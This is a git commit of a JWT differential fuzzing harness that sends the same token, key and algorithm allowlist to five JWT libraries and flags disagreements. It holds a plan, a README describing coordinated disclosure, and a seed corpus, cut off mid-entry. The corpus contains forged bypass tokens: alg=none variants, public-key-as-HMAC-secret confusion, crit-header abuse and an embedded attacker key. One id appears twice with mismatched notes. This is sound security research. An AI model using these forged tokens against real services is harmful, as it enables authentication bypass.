Zion Boggan zionboggan.com ↗

initial commit

c8921f0   Zion Boggan committed on Apr 25, 2026 (1 month ago)
LICENSE +26 -0
@@ -0,0 +1,26 @@
+MIT License
+
+Copyright (c) 2026
+
+Permission is hereby granted, free of charge, to any person obtaining a copy
+of this software and associated documentation files (the "Software"), to deal
+in the Software without restriction, including without limitation the rights
+to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+copies of the Software, and to permit persons to whom the Software is
+furnished to do so, subject to the following conditions:
+
+The above copyright notice and this permission notice shall be included in
+all copies or substantial portions of the Software.
+
+THIS SOFTWARE IS A SECURITY RESEARCH HARNESS. Use it only against systems
+you own or are authorized to test. The authors disclaim all responsibility
+for any use of this Software that violates applicable law or any program's
+terms of service.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
+THE SOFTWARE.
PLAN.md +82 -0
@@ -0,0 +1,82 @@
+# Schism
+
+Differential JWT verification harness. Feeds the same `(token, key, alg-allowlist)` triple into N JWT libraries and surfaces any verifier disagreement. Disagreements at the verification boundary are auth-bypass primitives.
+
+## Premise
+
+Auth bypass primitives in JWT libraries propagate to every program that uses the library. One finding maps to many bounty programs. The bug class is well known (alg confusion, kid injection, jku spoof, JWS critical header, JWE/JWS confusion, ECDSA r/s edge cases, padding, JSON-parser quirks at the header layer) but the libraries diverge in subtle ways that aren't covered by any single test suite. Wycheproof has static vectors; nobody runs live differential fuzzing across the modern JWT ecosystem.
+
+## Targets (v1)
+
+| ID | Lib | Lang | Why |
+|----|-----|------|-----|
+| `nodejwt` | `jsonwebtoken` (Auth0) | Node | Most-used npm JWT lib. ~10M weekly DLs. |
+| `pyjwt` | `PyJWT` | Py | Most-used Python lib. Historical alg-confusion CVEs. |
+| `pyjose` | `python-jose` | Py | Different impl, looser parsing. CVE-2024-33663 territory. |
+| `panva` | `jose` (Panva) | Node | Most spec-compliant JS lib. Useful as oracle. |
+| `gojwt` | `golang-jwt/jwt` v5 | Go | Most-used Go lib. Used in K8s, Helm, etc. |
+
+v2: `nimbus-jose-jwt` (Java), `jsonwebtoken` (Rust), `lcobucci/jwt` (PHP).
+
+## Architecture
+
+```
+ ┌────────────────────────────────┐
+ │ orchestrator/differ.py │
+ │ (corpus → fanout → compare) │
+ └─────────────┬──────────────────┘
+ │ HTTP /verify
+ ┌───────────┬───────┼────────┬───────────┐
+ │ │ │ │ │
+ ┌────▼───┐ ┌────▼───┐ ┌─▼─────┐ ┌▼──────┐ ┌─▼─────┐
+ │nodejwt │ │ pyjwt │ │pyjose │ │ panva │ │ gojwt │
+ │:7001 │ │ :7002 │ │ :7003 │ │ :7004 │ │ :7005 │
+ └────────┘ └────────┘ └───────┘ └───────┘ └───────┘
+ each is a thin HTTP wrapper over the lib's verify() call,
+ running in its own container, isolated, reproducible
+```
+
+Each target container exposes a single endpoint:
+
+```
+POST /verify
+{
+ "token": "<compact JWT>",
+ "key": "<PEM | symmetric | JWK>",
+ "algs": ["RS256", "HS256"] // allowlist, mimics real-world API
+}
+→ { "valid": bool, "claims": {...} | null, "error": "<class>" | null }
+```
+
+The orchestrator submits each corpus case to all targets in parallel, computes the verdict tuple `(valid_per_target)`, and flags any tuple that isn't unanimous.
+
+## Corpus
+
+`corpus/seed.json` carries the v1 test cases. Each case has:
+- `id` - short slug
+- `class` - bug-class tag (`alg-confusion`, `none-alg`, `kid-injection`, `jku-spoof`, `crit-header`, `jws-jwe-confusion`, `ecdsa-r-s`, `header-json-quirk`, `dup-keys`, etc.)
+- `token`, `key`, `algs` - the inputs
+- `expected_unanimous` - what *should* happen if every lib agreed (`reject`)
+- `notes` - pointer to RFC clause or prior CVE
+
+Triage rule: any case where `valid` differs across targets is an auto-flag. Errors are bucketed by class so different error wording doesn't pollute results.
+
+## Workflow
+
+1. `docker compose up -d` - bring up all target wrappers
+2. `python3 orchestrator/differ.py --corpus corpus/seed.json` - run the diff
+3. `findings/<timestamp>.jsonl` - per-case verdict tuples; disagreements highlighted
+4. Manual triage of disagreements → reproducer → CVE candidate
+5. Bounty fanout: for each finding, enumerate downstream consumers via npm/PyPI/Go module dependency graph + Sourcegraph code search, prioritize by program payout
+
+## Disclosure order
+
+1. Upstream lib maintainer first (the bug source)
+2. Then bounty programs whose scope includes the affected lib
+3. Schism itself stays private until first finding wave is submitted
+
+## Out of scope (explicitly)
+
+- JWE encryption oracles (cover in v2)
+- JWKS endpoint SSRF (different tool - covered by Flywheel's existing `test_ssrf_in_headers`)
+- HTTP-level token transport (Authorization header parsing, cookie handling) - those are server-level, not library-level
README.md +132 -0
@@ -0,0 +1,132 @@
+# jwt-differential-fuzzer
+
+Differential JWT verification harness. Feeds the same
+`(token, key, alg-allowlist)` triple into N JWT libraries simultaneously
+and surfaces any disagreement in the `valid` field. Disagreements at the
+verification boundary are auth-bypass primitives.
+
+A JWT library that accepts a token another major library rejects, given
+identical inputs, is either misimplementing the spec or interpreting it
+differently than the rest of the ecosystem. Either way, applications that
+share tokens across services written in different languages can be split
+between accepting and rejecting verifiers, and that asymmetry is
+exploitable.
+
+Wycheproof has static test vectors. This harness runs the libraries live,
+in matched containers, against a corpus that grows over time.
+
+See [PLAN.md](PLAN.md) for the full architecture writeup. See
+[findings/](findings/) for advisories produced by this harness.
+
+## Libraries under test (v1)
+
+| ID | Library | Language | Why |
+| ---------- | -------------------------------- | -------- | ------------------------------ |
+| `nodejwt` | `jsonwebtoken` (Auth0) | Node | ~10M weekly npm downloads |
+| `pyjwt` | `PyJWT` | Python | Historical alg-confusion CVEs |
+| `pyjose` | `python-jose` | Python | Looser parser, CVE-2024-33663 territory |
+| `panva` | `jose` (panva) | Node | Most spec-compliant JS lib; oracle |
+| `gojwt` | `golang-jwt/jwt` v5 | Go | Used in K8s, Helm, etc. |
+
+Each runs as an HTTP server inside a minimal Docker container exposing a
+single `POST /verify` endpoint that returns
+`{"lib": "...", "valid": bool, "error": "..."}`.
+
+## Architecture
+
+```
+ +------------------------------+
+ | orchestrator/differ.py |
+ | (corpus -> fanout -> compare)|
+ +---------------+--------------+
+ |
+ | HTTP /verify (parallel fanout)
+ v
+ +----------+ +----------+ +----------+ +----------+ +----------+
+ | nodejwt | | pyjwt | | pyjose | | panva | | gojwt |
+ | :7001 | | :7002 | | :7003 | | :7004 | | :7005 |
+ +----------+ +----------+ +----------+ +----------+ +----------+
+ |
+ v
+ +-----------------------------------+
+ | BYPASS rows |
+ | (libs disagree on valid) |
+ +-----------------------------------+
+```
+
+The orchestrator submits every corpus case to every running target in
+parallel, then collapses the responses by `valid`. If the set of "accept"
+verifiers and the set of "reject" verifiers are both non-empty, the row
+is a BYPASS-class disagreement. Errors are bucketed (not literal-string
+compared) so different wording across libs doesn't cause false positives.
+
+## Test corpus
+
+`corpus/seed.json` ships with baseline positive controls (RS256, HS256,
+ES256 happy paths) plus a growing set of bug-class cases:
+
+- **alg confusion** - HS256 token signed against the RSA public key
+- **kid injection** - SQL-i/path traversal patterns in kid
+- **jku spoof** - external jku URL pointing at attacker-controlled JWKS
+- **crit handling** - RFC 7515 §4.1.11 critical-header enforcement
+- **JWE/JWS confusion** - JWE token sent into a JWS verifier
+- **ECDSA edge cases** - r/s of zero, n, n-1
+- **header JSON quirks** - duplicate keys, NUL bytes, BOM, unicode
+
+`scripts/build_corpus.py` can extend the corpus from generators.
+
+## Running
+
+```bash
+git clone https://github.com/zionboggan/jwt-differential-fuzzer
+cd jwt-differential-fuzzer
+
+scripts/up.sh
+python3 orchestrator/differ.py --corpus corpus/seed.json
+```
+
+`scripts/up.sh` brings the 5 targets up via Docker Compose; the orchestrator
+prints one row per case with the per-library verdict and flags any BYPASS-
+class disagreements. `scripts/down.sh` tears the targets down.
+
+For environments without Docker, `scripts/up_native.sh` runs each target
+natively against a managed Python venv / npm install / go build under
+`.native/`.
+
+Single case:
+
+```bash
+python3 orchestrator/differ.py --corpus corpus/seed.json --only crit-crit-eca
+```
+
+Run against a subset of targets:
+
+```bash
+python3 orchestrator/differ.py --corpus corpus/seed.json --targets nodejwt,panva
+```
+
+## Findings
+
+Each disagreement that reproduces with a working spec citation gets a
+write-up in [findings/](findings/) and a coordinated disclosure attempt
+upstream. The `findings/` directory is the audit trail of confirmed
+issues, with PoC code, sister-advisory comparisons, and a disclosure
+timeline section.
+
+Filing follows responsible disclosure norms:
+
+1. Confirm the disagreement is reproducible against the latest released
+ version of each affected library.
+2. Confirm a spec citation that picks a winner (i.e., the RFC says X,
+ library Y does not implement X).
+3. File a GitHub Security Advisory at the affected repository.
+4. Request a CVE via the repository's CNA or MITRE.
+5. Wait for the upstream patch or the embargo window expiration before
+ broadening publication.
+
+The advisories currently in `findings/` are public-disclosure-stage; their
+sister advisories at other libraries are already CVE'd.
+
+## License
+
+MIT. See [LICENSE](LICENSE).
corpus/seed.json +883 -0
@@ -0,0 +1,883 @@
+[
+ {
+ "id": "base-rs256",
+ "class": "baseline",
+ "severity": "control",
+ "token": "eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJhbGljZSIsImlhdCI6MTcwMDAwMDAwMCwiZXhwIjo5OTk5OTk5OTk5fQ.tx58nNtuT3ptFnCN-UKsEdMZl8WeQl0G8vvayicqYQja5DQt5MQZYp0yOJgQbACx5LMf6ccc62um6Z7Uku-iF9Hkez4oIdIaXCwZEVKyp4kRZPyb0y7AqdeWDpkolrjazRPc8FKEVNtwOVHHHaJSWE-IDMFqrIX1LtHjWPsq8_tlbtD5DjOPlVoV934xjY-sI4iD5k2OZsViGyX5IKC9kd1mzEaPLW2J8Kv6iS_l9HAGMgD54MVVVvT6YMgF4rdmDUrZADv99Pzhl9WEwR8f_semZ_orn-B03LGhT6OlZ1yhxdFJNTHMOzhRSmNA2RsZXLf3xdIIvZR2n6zzIIqyTA",
+ "key": "-----BEGIN PUBLIC KEY-----\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA5AYVTVQV6ywtYdpENyW6\nRWzTBismDMeCSFhNDc32Jw3ppHrsy1pAurEm+HI4TdAIr9fV5nu6wAiEOlkAzKhQ\n1RX7kgMieUuxIdAiEDIpboDZ7+cEXpwXPXdayLG4M9PXj1FkvqNRn6fBLKJLbPX4\nSHQVLInzUM3Iae+tQQgotFhYPNK6fw8XBRasxnmP6LWSiKsqt+w1CKBcyqSRwQXM\n3x958PFCRpJPdcs1o40v8iND+p+QP8Mnkl3E8X1SJit/heroGBynXUGAgFa+U6gA\ncWotnsdBaUGiE9BBCeHDdGH5F92/haoURUcIG4SNNcYZJxmeQ5U2UCbrRfLAVEni\nyQIDAQAB\n-----END PUBLIC KEY-----\n",
+ "algs": [
+ "RS256"
+ ],
+ "expected_unanimous": "accept",
+ "notes": "happy path RS256"
+ },
+ {
+ "id": "base-hs256",
+ "class": "baseline",
+ "severity": "control",
+ "token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJhbGljZSIsImlhdCI6MTcwMDAwMDAwMCwiZXhwIjo5OTk5OTk5OTk5fQ.55nVZ-A9ktH6dL28cKDqolUuqZ5B3qmk-IOrOL1NiLI",
+ "key": "schism-secret",
+ "algs": [
+ "HS256"
+ ],
+ "expected_unanimous": "accept",
+ "notes": "happy path HS256"
+ },
+ {
+ "id": "base-es256",
+ "class": "baseline",
+ "severity": "control",
+ "token": "eyJhbGciOiJFUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJhbGljZSIsImlhdCI6MTcwMDAwMDAwMCwiZXhwIjo5OTk5OTk5OTk5fQ.AN9mMXlbVYbH_Cv4tRVhbeuRrdDYw5LKjmjEdTxkjQWQgnVQocbAAvoy3snDUZBWt01fsEWeBA4dYi6eD2j-FA",
+ "key": "-----BEGIN PUBLIC KEY-----\nMFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAEZOVHAj2poJe0WbUgpGQsRT//R7TI\nwehXbRRwZ9mmX7I+P+KJmNqTlzxOW+UzCvd0GmxHQCR7PpaqmysAzii4tg==\n-----END PUBLIC KEY-----\n",
+ "algs": [
+ "ES256"
+ ],
+ "expected_unanimous": "accept",
+ "notes": "happy path ES256"
+ },
+ {
+ "id": "none-none-905",
+ "class": "none-alg",
+ "severity": "bypass-risk",
+ "token": "eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiJhbGljZSIsImlhdCI6MTcwMDAwMDAwMCwiZXhwIjo5OTk5OTk5OTk5fQ.",
+ "key": "",
+ "algs": [
+ "RS256"
+ ],
+ "expected_unanimous": "reject",
+ "notes": "alg=none lower"
+ },
+ {
+ "id": "none-none-f47",
+ "class": "none-alg",
+ "severity": "bypass-risk",
+ "token": "eyJhbGciOiJOb25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiJhbGljZSIsImlhdCI6MTcwMDAwMDAwMCwiZXhwIjo5OTk5OTk5OTk5fQ.",
+ "key": "",
+ "algs": [
+ "RS256"
+ ],
+ "expected_unanimous": "reject",
+ "notes": "alg=None title"
+ },
+ {
+ "id": "none-none-167",
+ "class": "none-alg",
+ "severity": "bypass-risk",
+ "token": "eyJhbGciOiJOT05FIiwidHlwIjoiSldUIn0.eyJzdWIiOiJhbGljZSIsImlhdCI6MTcwMDAwMDAwMCwiZXhwIjo5OTk5OTk5OTk5fQ.",
+ "key": "",
+ "algs": [
+ "RS256"
+ ],
+ "expected_unanimous": "reject",
+ "notes": "alg=NONE upper"
+ },
+ {
+ "id": "none-none-691",
+ "class": "none-alg",
+ "severity": "bypass-risk",
+ "token": "eyJhbGciOiJuT25FIiwidHlwIjoiSldUIn0.eyJzdWIiOiJhbGljZSIsImlhdCI6MTcwMDAwMDAwMCwiZXhwIjo5OTk5OTk5OTk5fQ.",
+ "key": "",
+ "algs": [
+ "RS256"
+ ],
+ "expected_unanimous": "reject",
+ "notes": "alg=nOnE mixed"
+ },
+ {
+ "id": "none-none\u0000-7bf",
+ "class": "none-alg",
+ "severity": "bypass-risk",
+ "token": "eyJhbGciOiJub25lXHUwMDAwIiwidHlwIjoiSldUIn0.eyJzdWIiOiJhbGljZSIsImlhdCI6MTcwMDAwMDAwMCwiZXhwIjo5OTk5OTk5OTk5fQ.",
+ "key": "",
+ "algs": [
+ "RS256"
+ ],
+ "expected_unanimous": "reject",
+ "notes": "alg=none\\x00 trailing null"
+ },
+ {
+ "id": "none-none-b5f",
+ "class": "none-alg",
+ "severity": "bypass-risk",
+ "token": "eyJhbGciOiIgbm9uZSIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJhbGljZSIsImlhdCI6MTcwMDAwMDAwMCwiZXhwIjo5OTk5OTk5OTk5fQ.",
+ "key": "",
+ "algs": [
+ "RS256"
+ ],
+ "expected_unanimous": "reject",
+ "notes": "alg= none leading space"
+ },
+ {
+ "id": "none-none-164",
+ "class": "none-alg",
+ "severity": "bypass-risk",
+ "token": "eyJhbGciOiJub25lICIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJhbGljZSIsImlhdCI6MTcwMDAwMDAwMCwiZXhwIjo5OTk5OTk5OTk5fQ.",
+ "key": "",
+ "algs": [
+ "RS256"
+ ],
+ "expected_unanimous": "reject",
+ "notes": "alg=none trailing space"
+ },
+ {
+ "id": "none-none-905",
+ "class": "none-alg",
+ "severity": "bypass-risk",
+ "token": "eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiJhbGljZSIsImlhdCI6MTcwMDAwMDAwMCwiZXhwIjo5OTk5OTk5OTk5fQ.",
+ "key": "",
+ "algs": [
+ "RS256"
+ ],
+ "expected_unanimous": "reject",
+ "notes": "alg=none unicode escape"
+ },
+ {
+ "id": "none-with-junk-sig",
+ "class": "none-alg",
+ "severity": "bypass-risk",
+ "token": "eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiJhbGljZSIsImlhdCI6MTcwMDAwMDAwMCwiZXhwIjo5OTk5OTk5OTk5fQ.d2hhdGV2ZXI",
+ "key": "",
+ "algs": [
+ "RS256"
+ ],
+ "expected_unanimous": "reject",
+ "notes": "alg=none with non-empty signature segment"
+ },
+ {
+ "id": "alg-conf-rsa-as-hs256",
+ "class": "alg-confusion",
+ "severity": "bypass-risk",
+ "token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJhbGljZSIsImlhdCI6MTcwMDAwMDAwMCwiZXhwIjo5OTk5OTk5OTk5fQ.i2SrGqJ_penQAY2pA8naL0e-un0j_npoTrOq7Wp6oLU",
+ "key": "-----BEGIN PUBLIC KEY-----\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA5AYVTVQV6ywtYdpENyW6\nRWzTBismDMeCSFhNDc32Jw3ppHrsy1pAurEm+HI4TdAIr9fV5nu6wAiEOlkAzKhQ\n1RX7kgMieUuxIdAiEDIpboDZ7+cEXpwXPXdayLG4M9PXj1FkvqNRn6fBLKJLbPX4\nSHQVLInzUM3Iae+tQQgotFhYPNK6fw8XBRasxnmP6LWSiKsqt+w1CKBcyqSRwQXM\n3x958PFCRpJPdcs1o40v8iND+p+QP8Mnkl3E8X1SJit/heroGBynXUGAgFa+U6gA\ncWotnsdBaUGiE9BBCeHDdGH5F92/haoURUcIG4SNNcYZJxmeQ5U2UCbrRfLAVEni\nyQIDAQAB\n-----END PUBLIC KEY-----\n",
+ "algs": [
+ "RS256",
+ "HS256"
+ ],
+ "expected_unanimous": "reject",
+ "notes": "forge HS256 using RSA pubkey PEM as HMAC secret; allowlist includes both"
+ },
+ {
+ "id": "alg-conf-rsa-as-hs384",
+ "class": "alg-confusion",
+ "severity": "bypass-risk",
+ "token": "eyJhbGciOiJIUzM4NCIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJhbGljZSIsImlhdCI6MTcwMDAwMDAwMCwiZXhwIjo5OTk5OTk5OTk5fQ.xtm5wOG43IWlwNLvLgATwONEb_lr9lZpL5qkEnB0q4T19ffoRRGq-Al0A03T1YZT",
+ "key": "-----BEGIN PUBLIC KEY-----\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA5AYVTVQV6ywtYdpENyW6\nRWzTBismDMeCSFhNDc32Jw3ppHrsy1pAurEm+HI4TdAIr9fV5nu6wAiEOlkAzKhQ\n1RX7kgMieUuxIdAiEDIpboDZ7+cEXpwXPXdayLG4M9PXj1FkvqNRn6fBLKJLbPX4\nSHQVLInzUM3Iae+tQQgotFhYPNK6fw8XBRasxnmP6LWSiKsqt+w1CKBcyqSRwQXM\n3x958PFCRpJPdcs1o40v8iND+p+QP8Mnkl3E8X1SJit/heroGBynXUGAgFa+U6gA\ncWotnsdBaUGiE9BBCeHDdGH5F92/haoURUcIG4SNNcYZJxmeQ5U2UCbrRfLAVEni\nyQIDAQAB\n-----END PUBLIC KEY-----\n",
+ "algs": [
+ "RS256",
+ "HS384"
+ ],
+ "expected_unanimous": "reject",
+ "notes": "forge HS384 using RSA pubkey PEM as HMAC secret; allowlist includes both"
+ },
+ {
+ "id": "alg-conf-rsa-as-hs512",
+ "class": "alg-confusion",
+ "severity": "bypass-risk",
+ "token": "eyJhbGciOiJIUzUxMiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJhbGljZSIsImlhdCI6MTcwMDAwMDAwMCwiZXhwIjo5OTk5OTk5OTk5fQ.tRjn7xrAvyV0vZeErrh5YuuHazyVozT3q68N6BwP_XFnlLgOXm6QYmbaT8drcnSwAOqur_1lAq8Smcp_W_KUnw",
+ "key": "-----BEGIN PUBLIC KEY-----\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA5AYVTVQV6ywtYdpENyW6\nRWzTBismDMeCSFhNDc32Jw3ppHrsy1pAurEm+HI4TdAIr9fV5nu6wAiEOlkAzKhQ\n1RX7kgMieUuxIdAiEDIpboDZ7+cEXpwXPXdayLG4M9PXj1FkvqNRn6fBLKJLbPX4\nSHQVLInzUM3Iae+tQQgotFhYPNK6fw8XBRasxnmP6LWSiKsqt+w1CKBcyqSRwQXM\n3x958PFCRpJPdcs1o40v8iND+p+QP8Mnkl3E8X1SJit/heroGBynXUGAgFa+U6gA\ncWotnsdBaUGiE9BBCeHDdGH5F92/haoURUcIG4SNNcYZJxmeQ5U2UCbrRfLAVEni\nyQIDAQAB\n-----END PUBLIC KEY-----\n",
+ "algs": [
+ "RS256",
+ "HS512"
+ ],
+ "expected_unanimous": "reject",
+ "notes": "forge HS512 using RSA pubkey PEM as HMAC secret; allowlist includes both"
+ },
+ {
+ "id": "alg-conf-ec-as-hs256",
+ "class": "alg-confusion",
+ "severity": "bypass-risk",
+ "token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJhbGljZSIsImlhdCI6MTcwMDAwMDAwMCwiZXhwIjo5OTk5OTk5OTk5fQ.EcMk-YGf-IfimnX4uyULAkJ6he3JXGNbkTfn3C3JqdA",
+ "key": "-----BEGIN PUBLIC KEY-----\nMFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAEZOVHAj2poJe0WbUgpGQsRT//R7TI\nwehXbRRwZ9mmX7I+P+KJmNqTlzxOW+UzCvd0GmxHQCR7PpaqmysAzii4tg==\n-----END PUBLIC KEY-----\n",
+ "algs": [
+ "ES256",
+ "HS256"
+ ],
+ "expected_unanimous": "reject",
+ "notes": "forge HS256 using EC pubkey PEM as HMAC secret"
+ },
+ {
+ "id": "alg-conf-strict-allowlist",
+ "class": "alg-confusion",
+ "severity": "bypass-risk",
+ "token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJhbGljZSIsImlhdCI6MTcwMDAwMDAwMCwiZXhwIjo5OTk5OTk5OTk5fQ.i2SrGqJ_penQAY2pA8naL0e-un0j_npoTrOq7Wp6oLU",
+ "key": "-----BEGIN PUBLIC KEY-----\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA5AYVTVQV6ywtYdpENyW6\nRWzTBismDMeCSFhNDc32Jw3ppHrsy1pAurEm+HI4TdAIr9fV5nu6wAiEOlkAzKhQ\n1RX7kgMieUuxIdAiEDIpboDZ7+cEXpwXPXdayLG4M9PXj1FkvqNRn6fBLKJLbPX4\nSHQVLInzUM3Iae+tQQgotFhYPNK6fw8XBRasxnmP6LWSiKsqt+w1CKBcyqSRwQXM\n3x958PFCRpJPdcs1o40v8iND+p+QP8Mnkl3E8X1SJit/heroGBynXUGAgFa+U6gA\ncWotnsdBaUGiE9BBCeHDdGH5F92/haoURUcIG4SNNcYZJxmeQ5U2UCbrRfLAVEni\nyQIDAQAB\n-----END PUBLIC KEY-----\n",
+ "algs": [
+ "RS256"
+ ],
+ "expected_unanimous": "reject",
+ "notes": "token claims HS256 but allowlist=[RS256] \u2014 must reject from allowlist alone"
+ },
+ {
+ "id": "alg-conf-rsa-der-as-hs256",
+ "class": "alg-confusion",
+ "severity": "bypass-risk",
+ "token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJhbGljZSIsImlhdCI6MTcwMDAwMDAwMCwiZXhwIjo5OTk5OTk5OTk5fQ.3OJkahPfrOFWiJKcfeBBcrQ4xSOwOGfQCc9l6FLOpWA",
+ "key": "MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA5AYVTVQV6ywtYdpENyW6RWzTBismDMeCSFhNDc32Jw3ppHrsy1pAurEm+HI4TdAIr9fV5nu6wAiEOlkAzKhQ1RX7kgMieUuxIdAiEDIpboDZ7+cEXpwXPXdayLG4M9PXj1FkvqNRn6fBLKJLbPX4SHQVLInzUM3Iae+tQQgotFhYPNK6fw8XBRasxnmP6LWSiKsqt+w1CKBcyqSRwQXM3x958PFCRpJPdcs1o40v8iND+p+QP8Mnkl3E8X1SJit/heroGBynXUGAgFa+U6gAcWotnsdBaUGiE9BBCeHDdGH5F92/haoURUcIG4SNNcYZJxmeQ5U2UCbrRfLAVEniyQIDAQAB",
+ "algs": [
+ "RS256",
+ "HS256"
+ ],
+ "expected_unanimous": "reject",
+ "notes": "RSA pubkey DER (no PEM headers) as HMAC secret \u2014 bypasses PEM-detection guards"
+ },
+ {
+ "id": "crit-crit-eca",
+ "class": "crit-header",
+ "severity": "bypass-risk",
+ "token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCIsImNyaXQiOlsiZm9vYmFyIl0sImZvb2JhciI6dHJ1ZX0.eyJzdWIiOiJhbGljZSIsImlhdCI6MTcwMDAwMDAwMCwiZXhwIjo5OTk5OTk5OTk5fQ.HLMK6_AyQbRqvwjEl-GuSQs-o-LaomVlatLkko26bZU",
+ "key": "schism-secret",
+ "algs": [
+ "HS256"
+ ],
+ "expected_unanimous": "reject",
+ "notes": "crit references unknown ext"
+ },
+ {
+ "id": "crit-crit-b64-false-758",
+ "class": "crit-header",
+ "severity": "bypass-risk",
+ "token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCIsImNyaXQiOlsiYjY0Il0sImI2NCI6ZmFsc2V9.eyJzdWIiOiJhbGljZSIsImlhdCI6MTcwMDAwMDAwMCwiZXhwIjo5OTk5OTk5OTk5fQ.A8Q9rjIiaCJd0rmaNgf5uPsuzJXQDAlzRGrVN_C54WU",
+ "key": "schism-secret",
+ "algs": [
+ "HS256"
+ ],
+ "expected_unanimous": "reject",
+ "notes": "crit=b64=false (RFC 7797 detached payload)"
+ },
+ {
+ "id": "crit-crit-a90",
+ "class": "crit-header",
+ "severity": "bypass-risk",
+ "token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCIsImNyaXQiOltdfQ.eyJzdWIiOiJhbGljZSIsImlhdCI6MTcwMDAwMDAwMCwiZXhwIjo5OTk5OTk5OTk5fQ.rz84KEmWsvmeqnyOEbZCWeRGiMrReq0CE6sUmqeKajI",
+ "key": "schism-secret",
+ "algs": [
+ "HS256"
+ ],
+ "expected_unanimous": "reject",
+ "notes": "crit empty array \u2014 strict reading rejects"
+ },
+ {
+ "id": "crit-crit-676",
+ "class": "crit-header",
+ "severity": "bypass-risk",
+ "token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCIsImNyaXQiOiJmb29iYXIiLCJmb29iYXIiOnRydWV9.eyJzdWIiOiJhbGljZSIsImlhdCI6MTcwMDAwMDAwMCwiZXhwIjo5OTk5OTk5OTk5fQ.0TEefU2MPDn7TXxJBnCb61kvzDv8VisSc5Jv4GJw7C0",
+ "key": "schism-secret",
+ "algs": [
+ "HS256"
+ ],
+ "expected_unanimous": "reject",
+ "notes": "crit as scalar string instead of array"
+ },
+ {
+ "id": "crit-crit-bb2",
+ "class": "crit-header",
+ "severity": "bypass-risk",
+ "token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCIsImNyaXQiOlsiYWxnIl19.eyJzdWIiOiJhbGljZSIsImlhdCI6MTcwMDAwMDAwMCwiZXhwIjo5OTk5OTk5OTk5fQ.xjmMFBhQ8MuHW6-FhxcdcYgOAduP28szRM_PPNKm4nY",
+ "key": "schism-secret",
+ "algs": [
+ "HS256"
+ ],
+ "expected_unanimous": "reject",
+ "notes": "crit names reserved 'alg' \u2014 RFC 7515 4.1.11 forbids reserved names"
+ },
+ {
+ "id": "jwk-embed-oct-self-sign",
+ "class": "key-injection",
+ "severity": "bypass-risk",
+ "token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCIsImp3ayI6eyJrdHkiOiJvY3QiLCJrIjoiWVhSMFlXTnJaWEl0YzNsdGJXVjBjbWxqTFd0bGVRIn19.eyJzdWIiOiJhbGljZSIsImlhdCI6MTcwMDAwMDAwMCwiZXhwIjo5OTk5OTk5OTk5fQ.aETw95unD9vuzm_RwSCdBiSb_dgjKTh2P7iUXsoWAb4",
+ "key": "schism-secret",
+ "algs": [
+ "HS256"
+ ],
+ "expected_unanimous": "reject",
+ "notes": "header.jwk embeds attacker oct key, sig validates against THAT key"
+ },
+ {
+ "id": "jwk-embed-rsa-bogus-sig",
+ "class": "key-injection",
+ "severity": "bypass-risk",
